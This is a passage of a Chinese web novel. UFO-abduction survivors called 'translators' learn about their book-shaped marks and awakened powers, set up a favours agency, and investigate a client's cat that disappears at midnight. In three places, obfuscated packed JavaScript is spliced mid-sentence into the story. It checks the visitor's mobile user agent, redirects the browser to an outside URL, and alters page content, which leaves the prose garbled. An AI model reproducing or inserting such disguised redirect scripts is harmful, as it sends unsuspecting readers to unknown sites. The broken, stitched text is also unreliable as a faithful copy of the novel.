方室长“呵呵”一笑,说:“虽然‘译者’不能直接讲述自己在‘故事’中的具体经历,但如果换多几种方式询问,还是能得出不少信息的。” 8. 万事屋成立! “会议最后,还要给你们讲一下‘故事书’。” 故事书并不稀奇,但能单独拎到会议上说的,肯定不是普通的故事书。 林清原耐心听方室长讲话。 “‘译者’并不只是个称呼,而是有着彻底区别于其他人的特征。” 林清原立马想到了左手腕上的标记。 她扭头问吕熙音: “老妈,如果我有了纹身,你还会爱我吗?” 吕熙音大惊失色。 “宝贝,你纹身了?!” 但她很快调整好了情绪,露出一抹温柔的笑容。 “宝贝,没关系的。就算你变成一只全身都是纹身的蟑螂,我也是爱你的。” 林清原感动地抱住了自家老妈。 下一秒,就见到吕熙音扭头问林征: “老公,如果我是只全身都是纹身的蟑螂,你还会爱我吗?” 林征满眼爱意,深情款款地说: “当然。你就算是全身都是纹身的蟑螂,也是我林征最爱的蟑螂,没有之一。” 吕熙音感动地抱住了自家老公。 新记明悄悄问明娇:“母亲,林家的家风,是这样的吗?” 明娇“嘿嘿”笑着:“你看你熙音阿姨,多可爱啊。” 她学着吕熙音的样子,娇娇柔柔地问新志平: “志郎,如果我是只全身都是纹身的蟑螂,你还会爱我吗?” 新记明打了个寒颤。自从他有记忆起,明娇就没用这种语气说过话。 新志平也打了个寒颤。 志郎,这个称呼,这种语气,明娇只在恋爱时期这么喊过,其他时候但凡喊了“志郎”,就代表着自己要挨骂了。而且…… 新志平堆起笑,身体往后微不可查地靠了靠。 “夫人,我一直爱你。只是蟑螂的话……” 眼看着明娇的凤眼要瞪起来,新志平忙问: “夫人,那如果我是只全身都是纹身的蟑螂,你还爱我吗?” 明娇捏了捏拳头,飞速回答:“拍死。” 新志平伤心了一下,怀抱希望继续问:“那如果没有纹身呢?” 明娇的答案不变:“拍死。” 新志平伤心极了,他垮起脸,塌了身子,模样像只被淋成落汤鸡的小狗。 明娇拍拍他的头,哄道:“我对蟑螂没有爱,可你是人,对于人类的你,怎么可能不爱?” 新志平瞬间像是淋雨的小狗被吹干了毛,整个人显得神采奕奕。 “夫人……” 在场的林家和新家的同门小辈们早已对自家掌门夫妻的行为习以为常,各个坐的端正,丝毫没有受到影响。 王小曼秉着优秀的职业素养,牢记方室长刚提点的“私话不用记录”,趁着没人在说正事,抓紧整理会议上的记录。 只有方室长被这两幕甜蜜的场景刺激到了。他内心哭喊着给自己老婆发了信息:老婆!我好想你! 方室长老婆:? 新记明看着满脸傻笑的林清原,默默把这一幕记了下来。 [好啊林清原,总算是被我抓到你的把柄了!区区一句情话就能把你哄傻。我可是学会了这一招!报仇之路又往前迈了一步!] 他在脑海中想象自己给林清原说情话,然后后者变成了傻子,惟他是尊的场景,越想心里越爽,忍不住“嘿嘿”傻笑了起来。 林清原看着突然朝自己傻笑的新记明,内心一惊: 这家伙是不是脑子不好? 平复了心情的方室长继续讲正事。 “纹身……‘故事书’确实可以看做是一种纹身。林清原,新记明,你们两人的左手腕上,应该都有一个相同的书本标记吧。” 林清原和新记明伸出了左手。 “不过这种标记,只有‘译者’可以看到。” 吕熙音拉着林清原的手翻来覆去地看,确实什么也没看到。 “在‘故事书’翻开的页面上,是不是有些看不懂的符号?这些符号,就是你们完结的‘故事’。” 新记明摸了摸书本,说:“这些符号看不懂,但是可以‘读’懂。” “外星文字?”林清原问。 “没错。每完结一个‘故事’,‘故事书’就会翻开新的一页,而这些‘故事’就会以外星生物的文字记录下来,可以随时翻看。” 方室长一步步给两个“译者”科普着。 “而在‘故事书’的下方的百分比数字,代表着‘故事’的总量。” 新记明看了眼数字,说:“现在的数字是16%,我上周刚从UFO出来的时候,数字还是12%。” 林清原想起自己回来后看到的13%,问:“总量的意思是,只要达到了100%,‘故事’的收集就彻底结束了?” 方室长的脸上露出一抹微笑。 “没错,到那时,地球上的人们将不再受到UFO的侵扰,可以正常生活了。” 林清原问:“我从UFO里出来以后,‘故事书’上还显示了一个百分比数字,那个又是什么意思?” “那个代表着你在这个‘故事’中的编译占比,也就是你在这个‘故事’中的参与度和影响度。和‘故事’总量不同,个人的‘故事’进度百分比,只会在出来后显示一小段时间,随后就消失了。” 方室长解释完,问道:“你们的个人百分比是多少?” “100%。” “……99%。”新记明暗自咬牙。 [输了!又输给这个女人了!可恶,下次我也要拿到100%……不对!我要拿到1000%!] 方室长很是惊喜。 “太棒了!非常优秀!一般人的个人进度只有70%,80%以上就很了不起了。你们两个的这进度,说明是将‘故事’完美编译了啊!” 得知了这个好消息后,方室长解释地更加起劲了。 “之前和你们讲了,近距离接触‘核心’的人,会觉醒特殊能力,而这种能力在出了UFO后,会被封印无法使用,但会对现实世界的‘译者’造成部分影响。这种影响,是与觉醒的能力相关联的。 “比如新记明,他的能力与眼睛有关,所以他在‘安全期’内,别人对他的关注度会降低,就像是‘看不到他’了。而想要让别人看到他,就需要……” 新记明急急忙忙地打断了方室长接下来的话。 “方室长!还是别说我的事了!” 方室长了然地笑了一下,转移了话题。 林清原看了新记明一眼,心里被勾起了一丝好奇。 “特殊能力在每回的‘故事’中都可以使用,并且会随着拿到‘核心’的数量的增加而增强。直到所有‘故事’编译完毕,书本合上,特殊能力会解封,变成在现实世界中也可以使用的能力。” 众人很好奇。 “那如果一个人的能力是控制火焰,等结束的时候,他难道真的可以在现实中也控制火焰吗?” “关于这点,外星生物给我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365433|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释是,并不会完全复刻这些能力,毕竟要符合我们地球的现阶段科技水平。如果能力是控制火焰的话,那结束时大概会变成不怕热、对火焰的耐受度高一类的能力吧。” 林清原点点头。原来如此,确实很符合想象。 方室长接着说: “特殊能力的增强,体现在现实世界中,就是影响的减弱和‘安全期’的变短。算是有利有弊,毕竟能力的影响确实会对生活造成一些不便。不过目前并不清楚如果‘安全期’短到消失了,会不会造成提前进入下一个‘故事’的情况。 “不过总的来说,能力的增强,是利大于弊的。它代表着‘译者’对自己能力的熟练度和掌控力的增强,在‘编译故事’时自然也更有把握。这也是我们组建官方译者队伍的另一个原因,有特殊能力的‘译者’,和没特殊能力的‘译者’,肯定是前者的生存几率更大。” 在这之后方室长又零零碎碎地讲了一些信息,然后这次的会议就结束了。 林清原被带到了专业的体检室进行健康检查。为了稳妥,新记明也被要求进行了一次复检。 林清原拿着自己的体检报告,上面显示一切正常,是具非常健康的身体! 她看着身高一栏,上面写着169CM,心里开心了一下:又长高了! 随后她看到了从另一个体检室出来的新记明。 看着比她还高了一头的新记明,她心里又不开心了。 这家伙到底有多高? 她想起开会时方室长没有说完的话,就凑到了新记明身边,问: “你‘安全期’里,想要被别人看到,需要什么?” 新记明的嘴巴紧紧抿住了,一副誓要保守秘密的模样。 就在这时,王小曼找了上来,她把二人带到了另一间会议室,给他们一人发了一个链接。 “这是什么?” 林清原点了进去,是个网站。 “这个网站名叫‘故事新编’,是‘译者’的网上聚集地。” 王小曼解释道:“这其实是官方的网站,但为了不打草惊蛇,并没有对外宣传,一直都处在保密状态,除了我们本身官方的人员外,别人都以为这是有人自发建设的‘译者’交流地。” 林清原和新记明都点点头,表示明白。 “每当我们定位到新的‘译者’后,我们就会向他们匿名发送这个链接。虽然不能保证所有‘译者’都创建了账号,但最起码有大部分‘译者’都在。你们平时如果感兴趣,可以多关注一下,里面还是有很多有用信息的。” 林清原突然想到一个事。 “那既然这样,‘万事屋’的名声可以直接从这里打响啊!” 王小曼做下记录,说:“我们可以对帖子进行强化,并且发送相关帖子进行造势,以便让你的‘万事屋’前期的人气积累更为顺利。” 她扶了下眼镜,狡黠地笑了一下:“简称,‘刷好评’。” 林清原笑着问新记明:“那你要加入我的万事屋吗?首位成员哦。” 新记明理智上想答应,但感情上拒绝了。 “还是不了。” [可恶!我怎么可能加入你的队伍!等什么时候我复仇成功,再让你勉强加入我的队伍还差不多!] 林清原耸耸肩,并没有为邀请失败而伤心。 临走时,她突然想起一个人,就拜托了王小曼替她查一下,有消息了再通知。 得到了肯定的保证后,林清原就和父母汇合,回家了。 9. 第一个委托人! 天气渐热,一眨眼就到了六月。 距离上次飞研办的开会已经过了两个星期,在王小曼的操作下,“故事新编”网站上异军突起了一个神秘组织——万事屋。 据传,万事屋上到UFO,下到小猫咪,只要跟“故事”相关的,什么都能接,而且好评率百分之一百!不过想要请万事屋接下委托,还是有三个条件的。 一,委托可以指名,也可以不指名,但一定是要发布在“绿色钢笔”板块的。 整个“故事新编”网站,只要是个“译者”都能登录,哪怕是普通人,如果意外拿到了链接,也能直接登录查看。但“绿色钢笔”板块,只能是已经登记过真实身份的“译者”才可以进入。 有人猜测过,这会不会是官方的要求,但大多数人并不在意绑定真实身份,反而正是因为绑定了真实身份,这个板块的内容才会更加令人信服。 二,委托需要支付报酬。万事屋感兴趣的委托,要么是钱多,要么是报酬有趣。 三,万事屋不是什么委托都接,它有一套自己的标准。但有一类委托是绝对不接的,那就是“已经连续两次个人编译度在50%以下,从而发布委托,要求第三次‘故事’的护卫”的委托。 关于个人编译进度的隐形条件,还是王小曼告诉她的。 “如果一个人的个人编译进度,已经连续两次都在50%以下,那么当他第三次进入‘故事’,但凡跟他同一场‘故事’的‘译者’,都一定会经历异变程度极高的‘个人故事’,也就是说,每个人会被分散到不同的‘故事’里,进行高难度的‘个人闯关’。这种‘个人故事’危险性极大。 “所幸UFO在吸纳这种‘连续两次个人编译度在50%以下’的‘译者’时,一般不会再吸入其他人。所以唯一需要注意的,就是防止有人浑水摸鱼,假装自己的个人编译度还没有达到临界点,从而发布下一次‘故事’的护卫委托。” 过了正午的阳光已经不是那么刺眼。 林清原歪在院子里的躺椅上,微风吹着,水果吃着,手机刷着,好不惬意。 她经过这两周的摸索,已经把“故事新编”玩熟练了。每天“译者”们都在里面灌水吐槽,热闹的很。 由于“故事”的保密限制,大家并不能把自己的亲身经历发出来。 因此,“暗语”就自然而然地产生了。连带着发布委托,都是用暗语交流的。 比如这有个帖子,标题是“我十天没开文了”,内容写着“想找人一起夜跑,必须带风筝。人数不限,最好同住。稿费合并,200支钢笔,每多一人加100支。” 其实翻译过来就是:距离我上次进入UFO已经有十天了,想约个下次一起进“故事”的委托,是护卫委托,不是相伴委托。接委托的人数不限,最好在我下次进“故事”前一直和我待一起。委托费总共是两千块,每多一人就往上加一千块。 其他还有各式各样的帖子,用的暗语层出不穷,林清原看的不亦乐乎。 就在林清原沉迷于刷帖子时,有小徒过来禀报。 “少掌门,有个女孩子求见。” “带她过来。” 白仙贝走进院子,见到的就是正在削苹果皮的林清原。 两周不见,林清原身上的伤已经全好了,一点伤疤都没留下,脸色白里透红的,煞是好看。 “贝贝,坐。” 林清原把削好的苹果递给坐在了对面的白仙贝,看她穿着厚实的长衣长裤,不由疑惑道: “你觉得冷吗?” 白仙贝边啃苹果边说:“不冷啊。” 她看了眼自己的穿搭,恍然大悟,解释道:“这个啊……其实和我的‘不稳定期’有关啦。” 她说起自己从UFO里出来后的事。 “我刚从UFO里出来没多久就晕倒了,然后就被人发现送去医院了。直到第二天,接到了飞研办的电话,我才从小曼姐姐口中得知了有关‘不稳定期’的事。你也知道嘛,我本来就没有痛觉,所以‘不稳定期’的不良反应特别大。你猜猜是什么?” 白仙贝卖了个关子。 林清原顺着这个思路去猜:“有痛觉了?” 白仙贝歪歪头:“猜对了一半。”她眉毛塌了下来,显得可怜巴巴的。“是‘超痛觉’。” “你能想象吗?我从来都没有痛觉哎!结果不良反应是比常人放大了好几倍的痛觉感知!那几天可把我疼坏了,一辈子的眼泪都要流光了!” 林清原想起白仙贝一路上的哭包行为,忍俊不禁。 “所以这就是你穿的这么厚的原因?” 白仙贝点点头,又咬了一口苹果。 “是啦,可真是把我疼怕了。虽然现在不疼了,但在我适应之前,要一直穿厚点才安心。” 林清原拉起白仙贝的左手,左摸摸右摸摸,稀奇的不得了。 “真好。我本来还想着你受的伤怎么办呢,就拜托了王小曼查一下你的情况,没想到你的手自己长好了。” 白仙贝说起这个就很开心。 “对呀!谁能想到我觉醒的能力是治疗呢!幸亏是治疗,不然我以后就没手了。”她握了握自己的左手,“这样正好,有了治疗能力,以后咱们再进UFO里面,就不用担心受伤了。” 林清原表情严肃了些。她问: “白仙贝,你确定要加入我的万事屋吗?加入万事屋,可是意味着要和UFO相关的各种危险任务打交道的。更何况你就算不加入,我也会陪你一起过你的‘故事’的。” 白仙贝的表情也严肃起来。她回答的很坚定: “我确定要加入‘万事屋’。我的能力在‘故事’里会很有用,我不会拖后腿的!而且,在了解了这些信息之后,我就一直在想:我想帮上你的忙,想为这个世界做些贡献。” 她握了握拳。“我会保护你的!” 林清原笑了起来,摸了摸白仙贝的头,说:“贝贝真可爱,谢谢你的保护。欢迎加入万事屋!” 白仙贝激动得脸都红了。 她声音小小的:“应该是我谢谢你的保护才对……” 她想了想,问:“那……我现在是不是算半个官方人员?” “嗯,没错。不过咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365434|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的‘半官方身份’要保密。只需要牢记自己是‘万事屋’成员就行了。” “好的,我记住了!” 她好奇地问:“对了,小鹤,我听小曼姐姐说,你‘不稳定期’的时候老是被东西砸。那你到底是什么能力啊?” “大概跟速度相关吧。” “速度?” 林清原给白仙贝讲起她在“不稳定期”的那几天被各种东西砸的事,逗得后者哈哈大笑。 “刚开始我以为是控物呢,结果发现我一点都控不了。直到后面被砸多了,发现那些砸过来的东西,有的速度快,有的速度慢,才这么猜的。不过我也不是很确定,只能等下次进到‘故事’里再确认了。” 二人又闲聊了一会儿,林清原的手机响了。 林清原看了一眼,笑道:“来了。” “什么来了?” “咱们的第一个委托人呀。” 白仙贝瞬间紧张起来。她端正了坐姿,朝门口张望。 林清原笑了一下,说:“不用紧张,不是委托人要到这里来,而是咱们要去见委托人。” 她站起身,招呼白仙贝:“走吧。” 二人来到了市中心的一家咖啡馆,在那里,找到了一个坐在靠窗位置的年轻男人。 年轻男人身高腿长,单坐在那就显得气质格外出众。 白仙贝本来以为男人嘴里叼着烟,结果坐下仔细一看,才发现是一根奇怪的绿色长条。 “你好,我是万事屋成员,白仙贝。” 白仙贝鼓足勇气先打了招呼。 年轻男人咬着绿色长条就吃进了嘴里。他一笑起来,眼睛就弯弯的。 “你好啊,我也是万事屋成员,名字叫成柳。” “啊?”白仙贝傻眼了。“你不是委托人?” 林清原伸出手:“你好,我是万事屋老大,林清原。” 成柳伸手回握:“你好,清原老大,初次见面,请多指教啦。” 白仙贝诧异地问林清原:“初次见面?” 林清原向白仙贝介绍:“成柳是方室长推荐来的成员,能力很强,对‘故事’也更熟悉。有他在,我们接委托就更专业了。因为他前天才刚完结一个‘故事’,所以我们今天才第一次见面。” 成柳从兜里掏出一个透明袋,从里面拿出一根绿色长条,塞到嘴里咬住,才接着说: “是这样。我以前是官方队伍的,从第一则‘故事’开始就加入了。后来有一次‘写故事’的时候出了点意外,所以我就退了。方室长为了让我继续发光发热,就推荐我来万事屋了。” 林清原认出他嘴里咬的是什么了。 “苦瓜条?” 成柳很无奈。 “是啊,‘不稳定期’的影响。” 他掏出手机,按了几下,推到二人面前。 “这是委托人的信息和委托要求。” 林清原主要让白仙贝看。 “我和成柳之前就聊过了,所以委托的大概我都知道。你熟悉一下,咱们等会就出发。不出意外的话,今晚要住在委托人家里了。” 10. 我的猫咪不见了 在市郊,有一片别墅区。 林清原等人此行的目的地就是那里。 几人拿着委托人给的通行证,一路顺利过了门禁,来到了委托人家门口。 林清原上前按门铃,并说明了来意。 过了一会儿,大门被打开,几人走了进去,终于和委托人正式见面了。 委托人名叫陈芜,是个二十多岁的女人,独自一人来到这里创业,因为工作时间比较自由,所以就租下了这里的一栋别墅。 陈芜眼下青黑,精神状况也不是太好,但见到来人,还是很高兴。 “你们就是‘万事屋’吗?快,请坐。” 林清原等人介绍了一下自己,就进入了正题。 “你在委托中说,‘想要帮忙寻找一下自己的猫咪’,能详细说说吗?” 陈芜喊正在远处睡觉的猫咪:“小蝴蝶。” 小蝴蝶不理她,睡得正香。 于是陈芜把它抱了过来。 小蝴蝶睡眼惺忪地看了几个陌生人一眼,又团起来继续睡了。 “好漂亮的橘猫。” 白仙贝很是喜欢,凑近了去看。 “爪子是粉色的哎,好可爱。” 听到有人夸自家爱猫,陈芜很开心。她笑着说: “是啊,我从它还是只小猫咪的时候就收养了。你可以摸摸它,它在睡觉,不会反抗的。” 白仙贝伸手摸了摸小蝴蝶。 好软!好暖和! 陈芜叹了口气,说:“小蝴蝶,就是我想让你们帮忙找的猫。 “你们看过委托了,应该知道了,小蝴蝶会在晚上失踪。只要过了零点,哪里就都找不到了。我为了找它,安了很多监控,但是所有监控都会在小蝴蝶失踪的那段时间花掉,等到白天又正常了。” 她看向万事屋。 “这些都发生在‘安全期’间,所以我就想着,会不会是能力带来的影响。可是我实在是想不出自己这到底是什么情况,才发了委托的。还好你们真的接了。” 林清原点点头:“毕竟你给出的报酬很有趣。” 陈芜放下怀里的猫咪,上楼抱了一样东西下来。 是一把造型古朴的剑,剑鞘上有好看的花纹。 她递给了林清原,说: “这就是报酬了。” 见林清原一只手把剑拿了起来,她讶异道:“这剑可是很重的,你竟然直接就拿起来了。不愧是万事屋的人。” 林清原抽开剑鞘,查看了一下剑本身的情况。 剑是开了刃的,通体流畅,剑锋凌厉,是把好剑。 成柳也拿过了剑。不过比起林清原,他拿起的动作看起来有些吃力。 “真的很重。”他问:“这把剑真的是从‘故事’里带出来的吗?” 陈芜点点头。 “对,这是我从第二个‘故事’里带出来的。它并不是‘核心’,所以没有消散。我之后又试了从其他‘故事’里带东西出来,但没有一个成功的。我也不知道为什么只有这把剑可以带出来。而且我在这次的‘故事’里试过了,它还可以被带进‘故事’里去。” 林清原更加感兴趣了。 “这么神奇?拿来当报酬没问题吗?” 陈芜笑了笑,说:“其实我这次进‘故事’,把它带进去,本来想着自己用的。可是它太重,我不仅没用上,还差点把自己留那。所以不如拿出来当报酬,能解决了小蝴蝶的事是最好的。就算解决不了,这把剑你们也可以买走,反正我用不上。” 听到陈芜这么说,林清原就放心了。 她把剑收下,站起身问:“小区里有监控吗?” 陈芜说:“有是有。我也想过会不会是小蝴蝶晚上跑出去了,找物业要过监控。不过我这住的是新建没多久的别墅区,本来人就少,所以监控也不是全覆盖的。”她面露难色,“而且,能用的上的监控我都查了,一部分是正常的,一部分就和家里一样,是花屏的。” 林清原拿出手机,调出地图,让陈芜标个大致范围。 “哪一片的监控花了?” 陈芜标完,林清原就出门了。她打算先去探探周围的情况。 成柳和白仙贝留下来继续询问信息。 成柳问:“你说你家猫是晚上零点过后消失的,那你有等在旁边看过吗?” “等过。我还特意盯着时间的。只要时针指到12,我家猫就瞬间消失了。” “瞬间消失?” 成柳挠挠小猫的下巴。 这还真是稀奇,他也处理过一些有关“不稳定期”的影响事件,还从没遇到过这么奇怪的。 小猫乖乖睡着,还在轻轻地打呼噜。 白仙贝问:“小蝴蝶平时也一直这么睡吗?怎么摸它都不醒哎。” 陈芜说:“虽然它平时白天也喜欢睡觉,但是在‘安全期’这几天,它白天简直是睡不醒,连猫粮都不怎么吃。所以才但是是不是它晚上出了什么事。” 她讲起收养小蝴蝶的事。 “我遇到小蝴蝶的时候,她才刚出生没几天,瘦瘦小小的,眼睛都睁不开。那天晚上下了好大的雨,我凌晨加完班回来,在路边发现的它。 “我把它拿起来的时候,它叫都没叫,我以为它已经被冻死了,本来打算挖个坑埋了,结果坑挖好了,它突然动了几下。然后我就赶紧把它装怀里带回了家。” “哇,照顾它肯定很辛苦。” 白仙贝又摸了摸小蝴蝶,现在的它已经完全看不出以前瘦瘦小小的可怜模样了。 “是呀,当时太晚了,附近的宠物医院都没开门。我全是网上现搜的,以前没养过小猫,更别说这么小的小猫了。本来以为救不活它了,结果它那么坚强,最后还是活下来了,一天比一天能吃。” 成柳笑了下。 “小蝴蝶很幸运,遇到了爱它的主人。” 陈芜笑着说:“其实我也很幸运。那一段时间公司加班很严重,我每天都很累,每天都在想要不要干脆辞职,回老家算了。结果就遇到了小蝴蝶。有了小蝴蝶,生活才变得不那么难熬,我才坚持了下来。现在还涨工资了。” 不过说着说着,她的语气又变得低落。 “可是自从我被UFO吸进去,成为了‘译者’,我总是担心,万一我有一天没能从里面活着出来,那我父母怎么办,小蝴蝶又该怎么办。” 白仙贝感同身受,垂下了眼睛。 虽然她一直表现得很坚强,也是真心希望自己的能力能帮上忙,但是她也一直在担忧着,如果自己有一天没能成功通关,那自己的家人又该怎么办呢? 成柳看了眼陷入低沉气氛的二人,安慰道: “人生就是这样的,别说有UFO了,就算没有UFO,世界上每时每刻也在不停发生着意外、出现着死亡。” 他讲起自己的经历:“我以前也从没想到自己有一天会跟UFO打交道。应该说,正常人谁会知道世界上真有UFO啊。结果很不幸,UFO吸进去的第一批人里,就有我。而我,是那一个‘故事’里唯一活下来的。” 这个消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365435|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震惊了二人。 白仙贝想说些什么,但又不知道如何开口。 “那个‘故事’持续了六天,我出来的时候,我家里人都找我找疯了。我想给他们说说我的经历,但‘故事’的保密性,让我一句真话也说不出来,只能不停地重复那则故事。家里人吓坏了,以为我精神受了大刺激。 “我确实当时受了很大的刺激。不过好在‘译者’逐渐多了起来,我终于找到能一同交流的人了。又过了一个‘故事’后,我就想明白了。既然这场灾难,我们没法抗衡,那就只能过好每一天了。” 他笑了一下,说:“如果把每次进入‘故事’,都当做是倒计时的话,反而会更加珍惜活着的每一天,不是吗?就算有一天,我真的被留在了某个‘故事’里,那最起码我在现实生活里的每一天,都是有人爱着的,我并不孤单。” 他说完这些话,打算看看二人的情绪有没有好转,结果一扭头,就看到白仙贝哭了满脸的泪水。 他一下子慌了。不对啊,明明以往的安慰都是这么说的,每次的效果都很好,怎么到自己的同伴这里,就一下子把人惹哭了呢?? 白仙贝哭的鼻子红红的。她心中对这个新成员的好感度已经猛然拔高了一大截。 她抽噎着说:“成柳……你…你好成熟啊。” 陈芜本来也有些想哭,结果见白仙贝哭的这么惨,反而被逗笑了。 她给白仙贝抽了些纸巾,然后向成柳道了谢。 “谢谢你,我也是这么想的,既然事情已经无法改变,那就只能接受。比起担忧下一次,珍惜现在的日子才是最重要的。” 她把小蝴蝶抱起来,狠狠亲了几口。 “尤其我的小猫咪,这么可爱,这么好吸!我还要继续通关,回来给她换新猫粮吃呢!” 她看向二人,敬佩道:“你们‘万事屋’的人真的很厉害,不仅内心很强大,实力也很强大。一般人是不可能在通关自己的‘故事’时又出来接委托的,还都是和UFO相关的委托。而且好评率还是百分之百!我之前还担心约不上你们的委托呢。” 知道实情的白仙贝眨了眨眼,没接话。 知道实情的成柳倒是坦然接下了赞美,夸起自己的新团队毫不停顿:“没办法,‘万事屋’主打的就是为人分忧。有什么困难,找‘万事屋’就对了!” 林清原这时正好回来了。 她看着眼神明显变得热切了许多的委托人,悄悄用眼神问留下来的二人: 你俩说什么了? 白仙贝竖起大拇指:“万事屋,好!” 成柳也竖起大拇指:“万事屋,棒!” 陈芜竖起了两个大拇指:“万事屋,好棒!” 林清原见问不出什么,就转而问起委托人一些她的发现。 “我刚在外面找了一圈,监控都是好的,没有损坏。不过我倒是见到了许多鸟的尸体,这个你有头绪吗?” 陈芜犹豫道:“可能有……在我家猫失踪回来的白天,我有时会在衣服上发现一些血迹,不过不多。不知道会不会和这个有关。” 林清原点点头。她接着问: “我记得你说,今天是你‘安全期’的第二天,是吧?” 陈芜答:“是的。明天就是第三天了,再之后小蝴蝶就正常了,直到我进入下一次‘故事’,才又开始出现这种情况。” “好,我明白了。” 今天就是“安全期”第二天,猫咪只在晚上失踪,也就是说,今晚就要定胜负了。 成败在此一举。 11. 寻找小猫 夜幕降临,阴云渐起,遮住了月光。 白仙贝听着风把窗户刮得咣咣响,担忧道:“这风刮的好厉害,感觉要下雨了。” 成柳看了一下天气预报。 “确实会下雨,而且还是急暴雨。不过明天又晴了。” 林清原拣起一颗葡萄吃了。 桌子上有很多水果,都是陈芜为几人准备的。 为了保证观测效率,林清原让陈芜先去睡了。 趁离零点还有点时间,几人开始闲聊。 成柳问:“这次行动真的不用陈芜跟着吗?她不是说,在‘不稳定期’的夜晚,她都能一直听见猫叫吗?” 林清原摇摇头。 “既然她能听见猫叫声,那我们也该听见才对。如果是只有她能听见,那可就不单只是猫的问题了。” 睡了一天的小蝴蝶现在看起来精神还不错,它“喵喵”叫着,一直在白仙贝的脚边绕圈。 “它会不会是饿了?”白仙贝猜测。 她拿来猫粮,给橘猫倒了一点。 小蝴蝶果然吃了。 等吃完,小蝴蝶冲着白仙贝叫了几声,然后一跳跳到了她怀里,呼噜噜的伸胳膊伸腿。 白仙贝没忍住,吸了几大口,把小蝴蝶吸的喵喵叫。 成柳笑坏了。他说:“小蝴蝶真喜欢你啊。应该把陈芜叫起来,问问她小蝴蝶在说什么的。” 林清原也笑了。 “陈芜的能力也真挺好玩的,‘能听懂猫猫说的话’。怪不得小蝴蝶被她养这么壮实,就算能力被封印了,也能大概知道小猫在说什么吧。” 她在刚知道这个能力的时候,还羡慕了一会儿。如果她也有这个能力,是不是会变成“能听懂狗狗说的话”?不过想了下自家比利的聪明劲,就算没这个能力,沟通起来也没什么大问题。 林清原托着下巴,有些思念自己的狗狗。 不知道比利现在在哪,有没有吃好睡好,有没有想念自己这个小主人。 时间逐渐来到了23点58分,外面的雨已经下一会儿了。 几人打起精神,一边盯着时间,一边盯着小蝴蝶。 白仙贝紧紧抱着小蝴蝶,不敢有一丝松懈。 零点一到,小蝴蝶“喵”了一声,然后就消失了。 白仙贝看着自己空空的怀抱,不可置信。 林清原和白柳开始搜索屋内,白仙贝则开始检查各个屋的监控。 然而找了一圈后,还是没有见到猫咪的踪迹。 就在这时,白仙贝发现了异常。 “主卧的监控花屏了!……等等,走廊的监控也开始变花了!” 林清原打算再去搜一下陈芜睡着的主卧。 第一轮搜查的时候,陈芜正在睡着。为了不吵醒她,主卧的搜索并没有其他地方那么仔细。 不过现在看来,问题大概率还是出在陈芜自己身上。 正当林清原打算再去一趟主卧时,就见到陈芜从楼上下来了。 陈芜看起来还是很困的样子。她问:“小蝴蝶在吗?” 白仙贝确认了监控。 “没错,只要是陈芜经过的地方的监控,全都是花的。” 林清原问陈芜: “你有感觉身体有什么不对劲吗?” 陈芜叹了口气,说:“小蝴蝶是不是又不见了?我身体没觉得哪里不舒服。” 成柳问:“你怎么突然醒了?” 陈芜答:“我听到了一声猫叫,就醒过来了。想着是不是小蝴蝶又失踪了,所以下来看看。我跟你们一起找吧。” 她凑过来看监控。 白仙贝说:“问题大概率出在你身上。” 陈芜苦笑了一下:“果然吗。我也有所猜测了,可我一个人实在解决不了。” 成柳和白仙贝拿出医疗器具,给陈芜检查身体。 林清原趁这个时间,打算问问陈芜获得能力的第一个“故事”。 虽然不能直接讲述“故事”里的经历,但按方室长所说,旁敲侧击地问信息还是可行的。 想了想,她问:“你第一个‘故事’,是发生在白天,还是晚上?” 陈芜指了指窗外。 晚上。 “既然你获得了和猫沟通的能力,那也就是说,那个‘故事’里有猫的存在了?” 陈芜点点头。 “你在通过第一个‘故事’后,有什么感想?” 听到这话的陈芜像是突然想起了什么可怕的事情一样,痛苦地抱住头,声音充满着幽怨: “不要加班,加班不要……加班是万恶之源!是不人道的!永远只有猫猫能拯救我!” 她越说越情绪激动,到最后直接站了起来,双手握拳,向上举起,大喊口号: “圣火昭昭,圣光耀耀,凡我弟子,喵喵喵喵![注]” 白仙贝受到气氛影响,也高举双手,大喊口号: “圣火昭昭,圣光……额,总之,喵喵喵喵!” 成柳笑眯眯地举起一只手:“喵喵喵喵~” 狗狗派的林清原誓死捍卫狗狗派的地位: “汪汪汪汪!” 陈芜忽然放下了手,朝门外看去。 “有猫的叫声!” 她飞奔出门。 “小蝴蝶!” 变故发生的太突然,几人都没反应过来。 林清原率先伸手,但还是差一点拉住。 “外面在下雨,要带伞!” 白仙贝急匆匆地拿起伞,一人塞了一把。 几人打着伞追了出去。 林清原一眼就看到了在雨中奔跑的陈芜。 “追!” 就在这时,一声猫叫传来。 